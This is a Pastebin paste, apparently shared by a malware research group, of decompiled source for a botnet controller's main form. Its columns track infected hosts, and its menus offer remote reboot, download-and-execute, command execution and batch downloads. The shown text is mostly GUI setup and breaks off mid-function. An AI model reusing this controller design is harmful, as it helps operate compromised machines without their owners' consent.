Advertisement
MalwareMustDie

controler.exe / Form1

Jul 13th, 2015
620
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 53.49 KB | None | 0 0
  1. using Microsoft.VisualBasic;
  2. using Microsoft.VisualBasic.CompilerServices;
  3. using System;
  4. using System.Collections;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Diagnostics;
  8. using System.Drawing;
  9. using System.IO;
  10. using System.Net;
  11. using System.Net.Sockets;
  12. using System.Runtime.CompilerServices;
  13. using System.Text;
  14. using System.Threading;
  15. using System.Windows.Forms;
  16. namespace Control
  17. {
  18.     [DesignerGenerated]
  19.     public class Form1 : Form
  20.     {
  21.         [CompilerGenerated]
  22.         internal class _Closure$__1
  23.         {
  24.             public Button $VB$Local_VB$t_ref$S1;
  25.             [DebuggerStepThrough, CompilerGenerated]
  26.             public void _Lambda$__4(object a0, EventArgs a1)
  27.             {
  28.                 this.$VB$Local_VB$t_ref$S1.PerformClick();
  29.             }
  30.         }
  31.         private IContainer components;
  32.         [AccessedThroughProperty("ListView1")]
  33.         private ListView _ListView1;
  34.         [AccessedThroughProperty("IP")]
  35.         private ColumnHeader _IP;
  36.         [AccessedThroughProperty("Status")]
  37.         private ColumnHeader _Status;
  38.         [AccessedThroughProperty("OnlineTime")]
  39.         private ColumnHeader _OnlineTime;
  40.         [AccessedThroughProperty("SvrPort")]
  41.         private ColumnHeader _SvrPort;
  42.         [AccessedThroughProperty("PortBN")]
  43.         private Button _PortBN;
  44.         [AccessedThroughProperty("PortText")]
  45.         private TextBox _PortText;
  46.         [AccessedThroughProperty("RichTextBox1")]
  47.         private RichTextBox _RichTextBox1;
  48.         [AccessedThroughProperty("Button1")]
  49.         private Button _Button1;
  50.         [AccessedThroughProperty("LoginKey")]
  51.         private TextBox _LoginKey;
  52.         [AccessedThroughProperty("DelOffline")]
  53.         private CheckBox _DelOffline;
  54.         [AccessedThroughProperty("ContextMenuStrip1")]
  55.         private ContextMenuStrip _ContextMenuStrip1;
  56.         [AccessedThroughProperty("RebootToolStripMenuItem")]
  57.         private ToolStripMenuItem _RebootToolStripMenuItem;
  58.         [AccessedThroughProperty("DeleteRowsToolStripMenuItem")]
  59.         private ToolStripMenuItem _DeleteRowsToolStripMenuItem;
  60.         [AccessedThroughProperty("ToolStripSeparator1")]
  61.         private ToolStripSeparator _ToolStripSeparator1;
  62.         [AccessedThroughProperty("ShellToolStripMenuItem")]
  63.         private ToolStripMenuItem _ShellToolStripMenuItem;
  64.         [AccessedThroughProperty("ColumnHeader1")]
  65.         private ColumnHeader _ColumnHeader1;
  66.         [AccessedThroughProperty("Timer1")]
  67.         private System.Windows.Forms.Timer _Timer1;
  68.         [AccessedThroughProperty("ColumnHeader2")]
  69.         private ColumnHeader _ColumnHeader2;
  70.         [AccessedThroughProperty("ExecCmdToolStripMenuItem")]
  71.         private ToolStripMenuItem _ExecCmdToolStripMenuItem;
  72.         [AccessedThroughProperty("Button2")]
  73.         private Button _Button2;
  74.         [AccessedThroughProperty("ToolStripSeparator2")]
  75.         private ToolStripSeparator _ToolStripSeparator2;
  76.         [AccessedThroughProperty("KillWebListToolStripMenuItem")]
  77.         private ToolStripMenuItem _KillWebListToolStripMenuItem;
  78.         [AccessedThroughProperty("CheckRunListToolStripMenuItem")]
  79.         private ToolStripMenuItem _CheckRunListToolStripMenuItem;
  80.         [AccessedThroughProperty("ToolStripSeparator3")]
  81.         private ToolStripSeparator _ToolStripSeparator3;
  82.         [AccessedThroughProperty("DISRUNToolStripMenuItem")]
  83.         private ToolStripMenuItem _DISRUNToolStripMenuItem;
  84.         [AccessedThroughProperty("EnRUNLISTToolStripMenuItem")]
  85.         private ToolStripMenuItem _EnRUNLISTToolStripMenuItem;
  86.         [AccessedThroughProperty("CheckBox1")]
  87.         private CheckBox _CheckBox1;
  88.         [AccessedThroughProperty("CheckBox2")]
  89.         private CheckBox _CheckBox2;
  90.         private Socket Sock;
  91.         private Thread ReceiveThread;
  92.         private int Listmode;
  93.         private string key;
  94.         private bool Disdown;
  95.         private Thread[] dataThread;
  96.         private int ListStatus;
  97.         private Dictionary<string, Thread> ClientThread;
  98.         private Dictionary<string, Socket> ClientSockets;
  99.         private Dictionary<string, IPEndPoint> ClietnIP;
  100.         private Dictionary<string, bool> ClientAuth;
  101.         private object[] Listener;
  102.         private int OnlineNum;
  103.         private int OfflineNum;
  104.         private string AppPath;
  105.         private int $STATIC$PortBN_Click$20211C1261$Status;
  106.         private Thread $STATIC$Listen$20118$Listh;
  107.         internal virtual ListView ListView1
  108.         {
  109.             get
  110.             {
  111.                 return this._ListView1;
  112.             }
  113.             [MethodImpl(MethodImplOptions.Synchronized)]
  114.             set
  115.             {
  116.                 MouseEventHandler value2 = new MouseEventHandler(this.ListView1_MouseUp);
  117.                 if (this._ListView1 != null)
  118.                 {
  119.                     this._ListView1.MouseUp -= value2;
  120.                 }
  121.                 this._ListView1 = value;
  122.                 if (this._ListView1 != null)
  123.                 {
  124.                     this._ListView1.MouseUp += value2;
  125.                 }
  126.             }
  127.         }
  128.         internal virtual ColumnHeader IP
  129.         {
  130.             get
  131.             {
  132.                 return this._IP;
  133.             }
  134.             [MethodImpl(MethodImplOptions.Synchronized)]
  135.             set
  136.             {
  137.                 this._IP = value;
  138.             }
  139.         }
  140.         internal virtual ColumnHeader Status
  141.         {
  142.             get
  143.             {
  144.                 return this._Status;
  145.             }
  146.             [MethodImpl(MethodImplOptions.Synchronized)]
  147.             set
  148.             {
  149.                 this._Status = value;
  150.             }
  151.         }
  152.         internal virtual ColumnHeader OnlineTime
  153.         {
  154.             get
  155.             {
  156.                 return this._OnlineTime;
  157.             }
  158.             [MethodImpl(MethodImplOptions.Synchronized)]
  159.             set
  160.             {
  161.                 this._OnlineTime = value;
  162.             }
  163.         }
  164.         internal virtual ColumnHeader SvrPort
  165.         {
  166.             get
  167.             {
  168.                 return this._SvrPort;
  169.             }
  170.             [MethodImpl(MethodImplOptions.Synchronized)]
  171.             set
  172.             {
  173.                 this._SvrPort = value;
  174.             }
  175.         }
  176.         internal virtual Button PortBN
  177.         {
  178.             get
  179.             {
  180.                 return this._PortBN;
  181.             }
  182.             [MethodImpl(MethodImplOptions.Synchronized)]
  183.             set
  184.             {
  185.                 EventHandler value2 = new EventHandler(this.PortBN_Click);
  186.                 if (this._PortBN != null)
  187.                 {
  188.                     this._PortBN.Click -= value2;
  189.                 }
  190.                 this._PortBN = value;
  191.                 if (this._PortBN != null)
  192.                 {
  193.                     this._PortBN.Click += value2;
  194.                 }
  195.             }
  196.         }
  197.         internal virtual TextBox PortText
  198.         {
  199.             get
  200.             {
  201.                 return this._PortText;
  202.             }
  203.             [MethodImpl(MethodImplOptions.Synchronized)]
  204.             set
  205.             {
  206.                 KeyPressEventHandler value2 = new KeyPressEventHandler(this.PortText_KeyPress);
  207.                 EventHandler value3 = new EventHandler(this.PortText_Enter);
  208.                 if (this._PortText != null)
  209.                 {
  210.                     this._PortText.KeyPress -= value2;
  211.                     this._PortText.Enter -= value3;
  212.                 }
  213.                 this._PortText = value;
  214.                 if (this._PortText != null)
  215.                 {
  216.                     this._PortText.KeyPress += value2;
  217.                     this._PortText.Enter += value3;
  218.                 }
  219.             }
  220.         }
  221.         internal virtual RichTextBox RichTextBox1
  222.         {
  223.             get
  224.             {
  225.                 return this._RichTextBox1;
  226.             }
  227.             [MethodImpl(MethodImplOptions.Synchronized)]
  228.             set
  229.             {
  230.                 this._RichTextBox1 = value;
  231.             }
  232.         }
  233.         internal virtual Button Button1
  234.         {
  235.             get
  236.             {
  237.                 return this._Button1;
  238.             }
  239.             [MethodImpl(MethodImplOptions.Synchronized)]
  240.             set
  241.             {
  242.                 EventHandler value2 = new EventHandler(this.Button1_Click);
  243.                 if (this._Button1 != null)
  244.                 {
  245.                     this._Button1.Click -= value2;
  246.                 }
  247.                 this._Button1 = value;
  248.                 if (this._Button1 != null)
  249.                 {
  250.                     this._Button1.Click += value2;
  251.                 }
  252.             }
  253.         }
  254.         internal virtual TextBox LoginKey
  255.         {
  256.             get
  257.             {
  258.                 return this._LoginKey;
  259.             }
  260.             [MethodImpl(MethodImplOptions.Synchronized)]
  261.             set
  262.             {
  263.                 this._LoginKey = value;
  264.             }
  265.         }
  266.         internal virtual CheckBox DelOffline
  267.         {
  268.             get
  269.             {
  270.                 return this._DelOffline;
  271.             }
  272.             [MethodImpl(MethodImplOptions.Synchronized)]
  273.             set
  274.             {
  275.                 this._DelOffline = value;
  276.             }
  277.         }
  278.         internal virtual ContextMenuStrip ContextMenuStrip1
  279.         {
  280.             get
  281.             {
  282.                 return this._ContextMenuStrip1;
  283.             }
  284.             [MethodImpl(MethodImplOptions.Synchronized)]
  285.             set
  286.             {
  287.                 this._ContextMenuStrip1 = value;
  288.             }
  289.         }
  290.         internal virtual ToolStripMenuItem RebootToolStripMenuItem
  291.         {
  292.             get
  293.             {
  294.                 return this._RebootToolStripMenuItem;
  295.             }
  296.             [MethodImpl(MethodImplOptions.Synchronized)]
  297.             set
  298.             {
  299.                 EventHandler value2 = new EventHandler(this.RebootToolStripMenuItem_Click);
  300.                 if (this._RebootToolStripMenuItem != null)
  301.                 {
  302.                     this._RebootToolStripMenuItem.Click -= value2;
  303.                 }
  304.                 this._RebootToolStripMenuItem = value;
  305.                 if (this._RebootToolStripMenuItem != null)
  306.                 {
  307.                     this._RebootToolStripMenuItem.Click += value2;
  308.                 }
  309.             }
  310.         }
  311.         internal virtual ToolStripMenuItem DeleteRowsToolStripMenuItem
  312.         {
  313.             get
  314.             {
  315.                 return this._DeleteRowsToolStripMenuItem;
  316.             }
  317.             [MethodImpl(MethodImplOptions.Synchronized)]
  318.             set
  319.             {
  320.                 EventHandler value2 = new EventHandler(this.DeleteRowsToolStripMenuItem_Click);
  321.                 if (this._DeleteRowsToolStripMenuItem != null)
  322.                 {
  323.                     this._DeleteRowsToolStripMenuItem.Click -= value2;
  324.                 }
  325.                 this._DeleteRowsToolStripMenuItem = value;
  326.                 if (this._DeleteRowsToolStripMenuItem != null)
  327.                 {
  328.                     this._DeleteRowsToolStripMenuItem.Click += value2;
  329.                 }
  330.             }
  331.         }
  332.         internal virtual ToolStripSeparator ToolStripSeparator1
  333.         {
  334.             get
  335.             {
  336.                 return this._ToolStripSeparator1;
  337.             }
  338.             [MethodImpl(MethodImplOptions.Synchronized)]
  339.             set
  340.             {
  341.                 this._ToolStripSeparator1 = value;
  342.             }
  343.         }
  344.         internal virtual ToolStripMenuItem ShellToolStripMenuItem
  345.         {
  346.             get
  347.             {
  348.                 return this._ShellToolStripMenuItem;
  349.             }
  350.             [MethodImpl(MethodImplOptions.Synchronized)]
  351.             set
  352.             {
  353.                 EventHandler value2 = new EventHandler(this.ShellToolStripMenuItem_Click);
  354.                 if (this._ShellToolStripMenuItem != null)
  355.                 {
  356.                     this._ShellToolStripMenuItem.Click -= value2;
  357.                 }
  358.                 this._ShellToolStripMenuItem = value;
  359.                 if (this._ShellToolStripMenuItem != null)
  360.                 {
  361.                     this._ShellToolStripMenuItem.Click += value2;
  362.                 }
  363.             }
  364.         }
  365.         internal virtual ColumnHeader ColumnHeader1
  366.         {
  367.             get
  368.             {
  369.                 return this._ColumnHeader1;
  370.             }
  371.             [MethodImpl(MethodImplOptions.Synchronized)]
  372.             set
  373.             {
  374.                 this._ColumnHeader1 = value;
  375.             }
  376.         }
  377.         internal virtual System.Windows.Forms.Timer Timer1
  378.         {
  379.             get
  380.             {
  381.                 return this._Timer1;
  382.             }
  383.             [MethodImpl(MethodImplOptions.Synchronized)]
  384.             set
  385.             {
  386.                 EventHandler value2 = new EventHandler(this.Timer1_Tick);
  387.                 if (this._Timer1 != null)
  388.                 {
  389.                     this._Timer1.Tick -= value2;
  390.                 }
  391.                 this._Timer1 = value;
  392.                 if (this._Timer1 != null)
  393.                 {
  394.                     this._Timer1.Tick += value2;
  395.                 }
  396.             }
  397.         }
  398.         internal virtual ColumnHeader ColumnHeader2
  399.         {
  400.             get
  401.             {
  402.                 return this._ColumnHeader2;
  403.             }
  404.             [MethodImpl(MethodImplOptions.Synchronized)]
  405.             set
  406.             {
  407.                 this._ColumnHeader2 = value;
  408.             }
  409.         }
  410.         internal virtual ToolStripMenuItem ExecCmdToolStripMenuItem
  411.         {
  412.             get
  413.             {
  414.                 return this._ExecCmdToolStripMenuItem;
  415.             }
  416.             [MethodImpl(MethodImplOptions.Synchronized)]
  417.             set
  418.             {
  419.                 EventHandler value2 = new EventHandler(this.ExecCmdToolStripMenuItem_Click);
  420.                 if (this._ExecCmdToolStripMenuItem != null)
  421.                 {
  422.                     this._ExecCmdToolStripMenuItem.Click -= value2;
  423.                 }
  424.                 this._ExecCmdToolStripMenuItem = value;
  425.                 if (this._ExecCmdToolStripMenuItem != null)
  426.                 {
  427.                     this._ExecCmdToolStripMenuItem.Click += value2;
  428.                 }
  429.             }
  430.         }
  431.         internal virtual Button Button2
  432.         {
  433.             get
  434.             {
  435.                 return this._Button2;
  436.             }
  437.             [MethodImpl(MethodImplOptions.Synchronized)]
  438.             set
  439.             {
  440.                 EventHandler value2 = new EventHandler(this.Button2_Click);
  441.                 if (this._Button2 != null)
  442.                 {
  443.                     this._Button2.Click -= value2;
  444.                 }
  445.                 this._Button2 = value;
  446.                 if (this._Button2 != null)
  447.                 {
  448.                     this._Button2.Click += value2;
  449.                 }
  450.             }
  451.         }
  452.         internal virtual ToolStripSeparator ToolStripSeparator2
  453.         {
  454.             get
  455.             {
  456.                 return this._ToolStripSeparator2;
  457.             }
  458.             [MethodImpl(MethodImplOptions.Synchronized)]
  459.             set
  460.             {
  461.                 this._ToolStripSeparator2 = value;
  462.             }
  463.         }
  464.         internal virtual ToolStripMenuItem KillWebListToolStripMenuItem
  465.         {
  466.             get
  467.             {
  468.                 return this._KillWebListToolStripMenuItem;
  469.             }
  470.             [MethodImpl(MethodImplOptions.Synchronized)]
  471.             set
  472.             {
  473.                 EventHandler value2 = new EventHandler(this.KillWebListToolStripMenuItem_Click);
  474.                 if (this._KillWebListToolStripMenuItem != null)
  475.                 {
  476.                     this._KillWebListToolStripMenuItem.Click -= value2;
  477.                 }
  478.                 this._KillWebListToolStripMenuItem = value;
  479.                 if (this._KillWebListToolStripMenuItem != null)
  480.                 {
  481.                     this._KillWebListToolStripMenuItem.Click += value2;
  482.                 }
  483.             }
  484.         }
  485.         internal virtual ToolStripMenuItem CheckRunListToolStripMenuItem
  486.         {
  487.             get
  488.             {
  489.                 return this._CheckRunListToolStripMenuItem;
  490.             }
  491.             [MethodImpl(MethodImplOptions.Synchronized)]
  492.             set
  493.             {
  494.                 EventHandler value2 = new EventHandler(this.CheckRunListToolStripMenuItem_Click);
  495.                 if (this._CheckRunListToolStripMenuItem != null)
  496.                 {
  497.                     this._CheckRunListToolStripMenuItem.Click -= value2;
  498.                 }
  499.                 this._CheckRunListToolStripMenuItem = value;
  500.                 if (this._CheckRunListToolStripMenuItem != null)
  501.                 {
  502.                     this._CheckRunListToolStripMenuItem.Click += value2;
  503.                 }
  504.             }
  505.         }
  506.         internal virtual ToolStripSeparator ToolStripSeparator3
  507.         {
  508.             get
  509.             {
  510.                 return this._ToolStripSeparator3;
  511.             }
  512.             [MethodImpl(MethodImplOptions.Synchronized)]
  513.             set
  514.             {
  515.                 this._ToolStripSeparator3 = value;
  516.             }
  517.         }
  518.         internal virtual ToolStripMenuItem DISRUNToolStripMenuItem
  519.         {
  520.             get
  521.             {
  522.                 return this._DISRUNToolStripMenuItem;
  523.             }
  524.             [MethodImpl(MethodImplOptions.Synchronized)]
  525.             set
  526.             {
  527.                 EventHandler value2 = new EventHandler(this.DISRUNToolStripMenuItem_Click);
  528.                 if (this._DISRUNToolStripMenuItem != null)
  529.                 {
  530.                     this._DISRUNToolStripMenuItem.Click -= value2;
  531.                 }
  532.                 this._DISRUNToolStripMenuItem = value;
  533.                 if (this._DISRUNToolStripMenuItem != null)
  534.                 {
  535.                     this._DISRUNToolStripMenuItem.Click += value2;
  536.                 }
  537.             }
  538.         }
  539.         internal virtual ToolStripMenuItem EnRUNLISTToolStripMenuItem
  540.         {
  541.             get
  542.             {
  543.                 return this._EnRUNLISTToolStripMenuItem;
  544.             }
  545.             [MethodImpl(MethodImplOptions.Synchronized)]
  546.             set
  547.             {
  548.                 EventHandler value2 = new EventHandler(this.EnRUNLISTToolStripMenuItem_Click);
  549.                 if (this._EnRUNLISTToolStripMenuItem != null)
  550.                 {
  551.                     this._EnRUNLISTToolStripMenuItem.Click -= value2;
  552.                 }
  553.                 this._EnRUNLISTToolStripMenuItem = value;
  554.                 if (this._EnRUNLISTToolStripMenuItem != null)
  555.                 {
  556.                     this._EnRUNLISTToolStripMenuItem.Click += value2;
  557.                 }
  558.             }
  559.         }
  560.         internal virtual CheckBox CheckBox1
  561.         {
  562.             get
  563.             {
  564.                 return this._CheckBox1;
  565.             }
  566.             [MethodImpl(MethodImplOptions.Synchronized)]
  567.             set
  568.             {
  569.                 this._CheckBox1 = value;
  570.             }
  571.         }
  572.         internal virtual CheckBox CheckBox2
  573.         {
  574.             get
  575.             {
  576.                 return this._CheckBox2;
  577.             }
  578.             [MethodImpl(MethodImplOptions.Synchronized)]
  579.             set
  580.             {
  581.                 this._CheckBox2 = value;
  582.             }
  583.         }
  584.         public Form1()
  585.         {
  586.             base.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing);
  587.             base.Load += new EventHandler(this.Form1_Load);
  588.             this.ClientThread = new Dictionary<string, Thread>();
  589.             this.ClientSockets = new Dictionary<string, Socket>();
  590.             this.ClietnIP = new Dictionary<string, IPEndPoint>();
  591.             this.ClientAuth = new Dictionary<string, bool>();
  592.             this.AppPath = Application.ExecutablePath;
  593.             this.InitializeComponent();
  594.         }
  595.         [DebuggerNonUserCode]
  596.         protected override void Dispose(bool disposing)
  597.         {
  598.             try
  599.             {
  600.                 if (disposing && this.components != null)
  601.                 {
  602.                     this.components.Dispose();
  603.                 }
  604.             }
  605.             finally
  606.             {
  607.                 base.Dispose(disposing);
  608.             }
  609.         }
  610.         [DebuggerStepThrough]
  611.         private void InitializeComponent()
  612.         {
  613.             this.components = new Container();
  614.             this.ListView1 = new ListView();
  615.             this.IP = new ColumnHeader();
  616.             this.Status = new ColumnHeader();
  617.             this.OnlineTime = new ColumnHeader();
  618.             this.ColumnHeader1 = new ColumnHeader();
  619.             this.SvrPort = new ColumnHeader();
  620.             this.ColumnHeader2 = new ColumnHeader();
  621.             this.ContextMenuStrip1 = new ContextMenuStrip(this.components);
  622.             this.RebootToolStripMenuItem = new ToolStripMenuItem();
  623.             this.ToolStripSeparator1 = new ToolStripSeparator();
  624.             this.ShellToolStripMenuItem = new ToolStripMenuItem();
  625.             this.ExecCmdToolStripMenuItem = new ToolStripMenuItem();
  626.             this.DeleteRowsToolStripMenuItem = new ToolStripMenuItem();
  627.             this.ToolStripSeparator2 = new ToolStripSeparator();
  628.             this.KillWebListToolStripMenuItem = new ToolStripMenuItem();
  629.             this.CheckRunListToolStripMenuItem = new ToolStripMenuItem();
  630.             this.ToolStripSeparator3 = new ToolStripSeparator();
  631.             this.DISRUNToolStripMenuItem = new ToolStripMenuItem();
  632.             this.EnRUNLISTToolStripMenuItem = new ToolStripMenuItem();
  633.             this.PortBN = new Button();
  634.             this.PortText = new TextBox();
  635.             this.RichTextBox1 = new RichTextBox();
  636.             this.Button1 = new Button();
  637.             this.LoginKey = new TextBox();
  638.             this.DelOffline = new CheckBox();
  639.             this.Timer1 = new System.Windows.Forms.Timer(this.components);
  640.             this.Button2 = new Button();
  641.             this.CheckBox1 = new CheckBox();
  642.             this.CheckBox2 = new CheckBox();
  643.             this.ContextMenuStrip1.SuspendLayout();
  644.             this.SuspendLayout();
  645.             this.ListView1.AllowColumnReorder = true;
  646.             this.ListView1.Anchor = (AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left);
  647.             this.ListView1.BackColor = Color.FromArgb(224, 224, 224);
  648.             this.ListView1.BorderStyle = BorderStyle.FixedSingle;
  649.             this.ListView1.Columns.AddRange(new ColumnHeader[]
  650.             {
  651.                 this.IP,
  652.                 this.Status,
  653.                 this.OnlineTime,
  654.                 this.ColumnHeader1,
  655.                 this.SvrPort,
  656.                 this.ColumnHeader2
  657.             });
  658.             this.ListView1.Font = new Font("微软雅黑", 9f, FontStyle.Regular, GraphicsUnit.Point, 134);
  659.             this.ListView1.FullRowSelect = true;
  660.             this.ListView1.GridLines = true;
  661.             Control arg_241_0 = this.ListView1;
  662.             Point location = new Point(0, 0);
  663.             arg_241_0.Location = location;
  664.             this.ListView1.Name = "ListView1";
  665.             Control arg_26F_0 = this.ListView1;
  666.             Size size = new Size(697, 235);
  667.             arg_26F_0.Size = size;
  668.             this.ListView1.Sorting = SortOrder.Ascending;
  669.             this.ListView1.TabIndex = 0;
  670.             this.ListView1.UseCompatibleStateImageBehavior = false;
  671.             this.ListView1.View = View.Details;
  672.             this.IP.Text = "IP";
  673.             this.IP.Width = 150;
  674.             this.Status.Text = "状态";
  675.             this.Status.Width = 40;
  676.             this.OnlineTime.Text = "上线时间";
  677.             this.OnlineTime.Width = 130;
  678.             this.ColumnHeader1.Text = "更新时间";
  679.             this.ColumnHeader1.Width = 130;
  680.             this.SvrPort.Text = "上线端口";
  681.             this.ColumnHeader2.Text = "版本编译";
  682.             this.ColumnHeader2.Width = 160;
  683.             this.ContextMenuStrip1.Items.AddRange(new ToolStripItem[]
  684.             {
  685.                 this.RebootToolStripMenuItem,
  686.                 this.ToolStripSeparator1,
  687.                 this.ShellToolStripMenuItem,
  688.                 this.ExecCmdToolStripMenuItem,
  689.                 this.DeleteRowsToolStripMenuItem,
  690.                 this.ToolStripSeparator2,
  691.                 this.KillWebListToolStripMenuItem,
  692.                 this.CheckRunListToolStripMenuItem,
  693.                 this.ToolStripSeparator3,
  694.                 this.DISRUNToolStripMenuItem,
  695.                 this.EnRUNLISTToolStripMenuItem
  696.             });
  697.             this.ContextMenuStrip1.Name = "ContextMenuStrip1";
  698.             this.ContextMenuStrip1.RenderMode = ToolStripRenderMode.System;
  699.             Control arg_411_0 = this.ContextMenuStrip1;
  700.             size = new Size(157, 198);
  701.             arg_411_0.Size = size;
  702.             this.RebootToolStripMenuItem.Name = "RebootToolStripMenuItem";
  703.             ToolStripItem arg_43C_0 = this.RebootToolStripMenuItem;
  704.             size = new Size(156, 22);
  705.             arg_43C_0.Size = size;
  706.             this.RebootToolStripMenuItem.Text = "&Reboot";
  707.             this.ToolStripSeparator1.Name = "ToolStripSeparator1";
  708.             ToolStripItem arg_476_0 = this.ToolStripSeparator1;
  709.             size = new Size(153, 6);
  710.             arg_476_0.Size = size;
  711.             this.ShellToolStripMenuItem.Name = "ShellToolStripMenuItem";
  712.             ToolStripItem arg_4A1_0 = this.ShellToolStripMenuItem;
  713.             size = new Size(156, 22);
  714.             arg_4A1_0.Size = size;
  715.             this.ShellToolStripMenuItem.Text = "&Down Exec";
  716.             this.ExecCmdToolStripMenuItem.Name = "ExecCmdToolStripMenuItem";
  717.             ToolStripItem arg_4DC_0 = this.ExecCmdToolStripMenuItem;
  718.             size = new Size(156, 22);
  719.             arg_4DC_0.Size = size;
  720.             this.ExecCmdToolStripMenuItem.Text = "&Exec cmd";
  721.             this.DeleteRowsToolStripMenuItem.Name = "DeleteRowsToolStripMenuItem";
  722.             ToolStripItem arg_517_0 = this.DeleteRowsToolStripMenuItem;
  723.             size = new Size(156, 22);
  724.             arg_517_0.Size = size;
  725.             this.DeleteRowsToolStripMenuItem.Text = "Delete Row&s";
  726.             this.ToolStripSeparator2.Name = "ToolStripSeparator2";
  727.             ToolStripItem arg_551_0 = this.ToolStripSeparator2;
  728.             size = new Size(153, 6);
  729.             arg_551_0.Size = size;
  730.             this.KillWebListToolStripMenuItem.Name = "KillWebListToolStripMenuItem";
  731.             ToolStripItem arg_57C_0 = this.KillWebListToolStripMenuItem;
  732.             size = new Size(156, 22);
  733.             arg_57C_0.Size = size;
  734.             this.KillWebListToolStripMenuItem.Text = "&Kill List";
  735.             this.CheckRunListToolStripMenuItem.Name = "CheckRunListToolStripMenuItem";
  736.             ToolStripItem arg_5B7_0 = this.CheckRunListToolStripMenuItem;
  737.             size = new Size(156, 22);
  738.             arg_5B7_0.Size = size;
  739.             this.CheckRunListToolStripMenuItem.Text = "&Check RunList";
  740.             this.ToolStripSeparator3.Name = "ToolStripSeparator3";
  741.             ToolStripItem arg_5F1_0 = this.ToolStripSeparator3;
  742.             size = new Size(153, 6);
  743.             arg_5F1_0.Size = size;
  744.             this.DISRUNToolStripMenuItem.Name = "DISRUNToolStripMenuItem";
  745.             ToolStripItem arg_61C_0 = this.DISRUNToolStripMenuItem;
  746.             size = new Size(156, 22);
  747.             arg_61C_0.Size = size;
  748.             this.DISRUNToolStripMenuItem.Text = "禁用检查RUN";
  749.             this.EnRUNLISTToolStripMenuItem.Name = "EnRUNLISTToolStripMenuItem";
  750.             ToolStripItem arg_657_0 = this.EnRUNLISTToolStripMenuItem;
  751.             size = new Size(156, 22);
  752.             arg_657_0.Size = size;
  753.             this.EnRUNLISTToolStripMenuItem.Text = "启动RUNLIST";
  754.             this.PortBN.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  755.             Control arg_690_0 = this.PortBN;
  756.             location = new Point(153, 243);
  757.             arg_690_0.Location = location;
  758.             this.PortBN.Name = "PortBN";
  759.             Control arg_6B8_0 = this.PortBN;
  760.             size = new Size(75, 23);
  761.             arg_6B8_0.Size = size;
  762.             this.PortBN.TabIndex = 1;
  763.             this.PortBN.Text = "Start";
  764.             this.PortBN.UseVisualStyleBackColor = true;
  765.             this.PortText.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  766.             Control arg_706_0 = this.PortText;
  767.             location = new Point(12, 243);
  768.             arg_706_0.Location = location;
  769.             this.PortText.MaxLength = 100;
  770.             this.PortText.Name = "PortText";
  771.             Control arg_73E_0 = this.PortText;
  772.             size = new Size(135, 21);
  773.             arg_73E_0.Size = size;
  774.             this.PortText.TabIndex = 2;
  775.             this.PortText.Text = "53,80,110,443";
  776.             this.RichTextBox1.Anchor = (AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right);
  777.             this.RichTextBox1.BackColor = Color.FromArgb(224, 224, 224);
  778.             Control arg_79F_0 = this.RichTextBox1;
  779.             location = new Point(703, 0);
  780.             arg_79F_0.Location = location;
  781.             this.RichTextBox1.Name = "RichTextBox1";
  782.             Control arg_7CA_0 = this.RichTextBox1;
  783.             size = new Size(72, 237);
  784.             arg_7CA_0.Size = size;
  785.             this.RichTextBox1.TabIndex = 4;
  786.             this.RichTextBox1.Text = "";
  787.             this.Button1.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  788.             Control arg_80F_0 = this.Button1;
  789.             location = new Point(474, 243);
  790.             arg_80F_0.Location = location;
  791.             this.Button1.Name = "Button1";
  792.             Control arg_837_0 = this.Button1;
  793.             size = new Size(82, 23);
  794.             arg_837_0.Size = size;
  795.             this.Button1.TabIndex = 6;
  796.             this.Button1.Text = "保存列表";
  797.             this.Button1.UseVisualStyleBackColor = true;
  798.             this.LoginKey.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  799.             Control arg_881_0 = this.LoginKey;
  800.             location = new Point(35, 2);
  801.             arg_881_0.Location = location;
  802.             this.LoginKey.Name = "LoginKey";
  803.             Control arg_8A9_0 = this.LoginKey;
  804.             size = new Size(100, 21);
  805.             arg_8A9_0.Size = size;
  806.             this.LoginKey.TabIndex = 7;
  807.             this.LoginKey.Text = "MlCROS0FT";
  808.             this.LoginKey.Visible = false;
  809.             this.DelOffline.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  810.             this.DelOffline.AutoSize = true;
  811.             this.DelOffline.Checked = true;
  812.             this.DelOffline.CheckState = CheckState.Checked;
  813.             Control arg_91E_0 = this.DelOffline;
  814.             location = new Point(234, 247);
  815.             arg_91E_0.Location = location;
  816.             this.DelOffline.Name = "DelOffline";
  817.             Control arg_946_0 = this.DelOffline;
  818.             size = new Size(72, 16);
  819.             arg_946_0.Size = size;
  820.             this.DelOffline.TabIndex = 8;
  821.             this.DelOffline.Text = "自删离线";
  822.             this.DelOffline.UseVisualStyleBackColor = true;
  823.             this.Timer1.Interval = 30000;
  824.             this.Button2.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  825.             Control arg_9A7_0 = this.Button2;
  826.             location = new Point(562, 243);
  827.             arg_9A7_0.Location = location;
  828.             this.Button2.Name = "Button2";
  829.             Control arg_9CF_0 = this.Button2;
  830.             size = new Size(102, 23);
  831.             arg_9CF_0.Size = size;
  832.             this.Button2.TabIndex = 9;
  833.             this.Button2.Text = "批量所有下载";
  834.             this.Button2.UseVisualStyleBackColor = true;
  835.             this.CheckBox1.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  836.             this.CheckBox1.AutoSize = true;
  837.             Control arg_A2D_0 = this.CheckBox1;
  838.             location = new Point(312, 247);
  839.             arg_A2D_0.Location = location;
  840.             this.CheckBox1.Name = "CheckBox1";
  841.             Control arg_A55_0 = this.CheckBox1;
  842.             size = new Size(72, 16);
  843.             arg_A55_0.Size = size;
  844.             this.CheckBox1.TabIndex = 10;
  845.             this.CheckBox1.Text = "禁止下载";
  846.             this.CheckBox1.UseVisualStyleBackColor = true;
  847.             this.CheckBox2.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  848.             this.CheckBox2.AutoSize = true;
  849.             Control arg_AB3_0 = this.CheckBox2;
  850.             location = new Point(390, 247);
  851.             arg_AB3_0.Location = location;
  852.             this.CheckBox2.Name = "CheckBox2";
